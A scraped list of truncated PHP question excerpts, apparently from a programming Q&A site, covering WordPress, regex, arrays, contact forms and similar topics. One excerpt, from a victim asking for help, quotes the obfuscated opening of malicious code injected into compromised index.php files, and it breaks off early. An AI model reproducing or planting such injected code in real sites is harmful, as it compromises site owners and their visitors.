php

Allow PHP inside form

I want to allow people to use PHP inside of a textarea of a Wordpress Admin Panel <textarea cols="70" rows="5" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" /> <?php echo stripslashes(get_settings($value['id'])); ?> </textarea> Will allow HTML usage, however not PHP... U...

PHP(?) or jQuery(?) Best method to change metatags?

On my site, I present a slideshow of content, for which I'm using jquery. So the user will click on an arrow and the next div (which is hidden by default) will display. Within each div, (whether showing or not) there are hidden span tags that contain the title of the content the user is looking at and a summary of the content... ...

shuffle Objects php

how can i sort object in php? i tryed shuffle but that expects an array Warning: shuffle() expects parameter 1 to be array, object given in /var/www/index.php on line 366 Warning: Invalid argument supplied for foreach() in /var/www/index.php on line 334 here is the code public function updateStatusWithoutDB() { $this->upda...

Get first day of week in PHP?

Given a date MM-dd-yyyy format, can someone help me get the first day of the week? ...

ckeditor echo php variables?

Hello All, Using the wysiwyg CKEditor I stored the following into MySql: <p> Here is the information that we would like to have show</p> <p> &nbsp;</p> <p> Project:<?php echo $project; ?></p> I need to echo this content as $content and have the $project variable populate from _POST data. When I do this however the result looks l...

Is there a way to redefine a type hint to a descendant class when extending an abstract class?

I will be using the following example to illustrate my question: class Attribute {} class SimpleAttribute extends Attribute {} abstract class AbstractFactory { abstract public function update(Attribute $attr, $data); } class SimpleFactory extends AbstractFactory { public function update(SimpleAttribute $attr, $data); } If...

Is php deg2rad() equal to mysql radians()

Are these functions the same? If not, what is an appropriate php equivalent to mysql's radians() ...

Including an external webpage using PHP

How can I use PHP to include an external webpage? (sort of like the wordpress theme preview.) I want (X)HTML STRICT compliant code - no iFrame and preferably no javascript. The idea is that I am making a sandbox for clients to view webpages in my controlled environment. The other thing is that the webpages being included should not be...

incrementing mysql_fetch_array?

How do I get the array to increment to the next row? I am making a table of labels 3 wide and ten high. The result that I am getting is three repeats in each row. How can I bump to the next row for each table cell. $i =0; for ($i = 1; $i <= 3; ++$i){ while($row = mysql_fetch_array($result)){ $company = $row['company']; $comp_strt = $r...

How To Do PHP IF And Else With Regex

Hey Guys I Am Trying To Use One Regex Pattern If And Else //$pattern = "%http://depositfiles.com/[a-z]{2}/files/[0-9-a-z-A-z]*%"; //$pattern = "%http://depositfiles.com/files/[0-9-a-z-A-z]{9}%"; i just want to use one regex pattern to match the depositfiles $subject = 'http://depositfiles.com/files/9178jwt09 http://depositfil...

xml version 1.0 encoding utf-8 in php?

Hi, I am trying to show xml version 1.0 encoding utf-8 in php, I have tried : echo '<?xml version="1.0" encoding="utf-8"?>'; but this doesnt validate on w3c, when using it in xhtml, the php shows an error. Whats the easiest way to fix this? With it validating Thanks error on w3c: Line 5, Column 46: character "'" not allowed in p...

Error to load PHP 5.2.6 with Apache 2.2 in Windows VISTA

Hello , I Install Apache 2.2 + PHP 5.2 and want to use any MySQL functions get the following error. This expañol and then in translation. For any extra information just have to ask me my. I do not include data from phpinfo (); since it is much information to include it all. Firma con problemas: Nombre del evento de problema: APPCR...

php contact form clean code

Trying to make my own contact form with php. Is there a better/cleaner way to approach this? <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1 /DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"&gt; <head> <title>Contact Form Practice</title> </head> <body> <form method="POST" ac...

optional function inputs in PHP

Hi, I notice that in some PHP built in functions such as str_replace there are optional input variables. Can I have have optional input variables in my own functions? If so, how? Thanks, Brian ...

Getting errors using APNS PHP

heres the code I'm using <?php $deviceToken = 'my device key'; // not putting in for security $payload['aps'] = array('alert' => 'This is the alert text', 'badge' => 1, 'sound' => 'default'); $payload = json_encode($payload); $apnsHost = 'gateway.sandbox.push.apple.com'; $apnsPort = 2195; $apnsCert = 'apns-dev.pem'; $streamContext...

changing page url without refreshing page

Is this even possible? Here's the problem: I have a keyword search with this URL(after searching) : http://localhost/thi/search?keyword=key Then I have a slider search which uses the AjaxForm plugin (jquery)... when I perform a slider search, obviously I will still be in the keyword search URL (because the request is sent via ajax) ...

PHP: How to run an external command as a specific user

I thought of suPHP but that's not what I need. It doesn't serve to my purposes to run the whole PHP script as a different user. I just need to run one single linux command line as a different user. Is it possible? ...

bootstrap(index.php) "viagra" hack

ok...so most of the sites we were serving were down, parsing errors in the index.php file...looking at the file, our previous versions of the said file were prepended with: <?php @register_shutdown_function("__sfd1260709780__");function __sfd1260709780__() { global $__sdv1260709780__; if (!empty($__sdv1260709780__)) return; $__sdv126070...

PHP Sting Function Zip+4 to Zip

I'm looking to convert US Format Zip Code 00000-1234 to 00000. But the zip may also be Canadian, UK or the World for that matter. So I guess a sanity check would be that you have 5 digits all 0-9 followed by a dash followed by 4 digits 0-9. If that fails leave the string alone if it passes trim off everything to the Right of the 5th d...

Reddit RSS feed returning less items when requested through HTTP?

I am trying to read data from an RSS feed which has 25 items. When I request the RSS file through HTTP it says there are only 20 items. function test($location) { $doc = new DomDocument(); $doc->load($location); $items = $doc->getElementsByTagName('item'); return $items->length; } // Prints 20 echo test('http://www.red...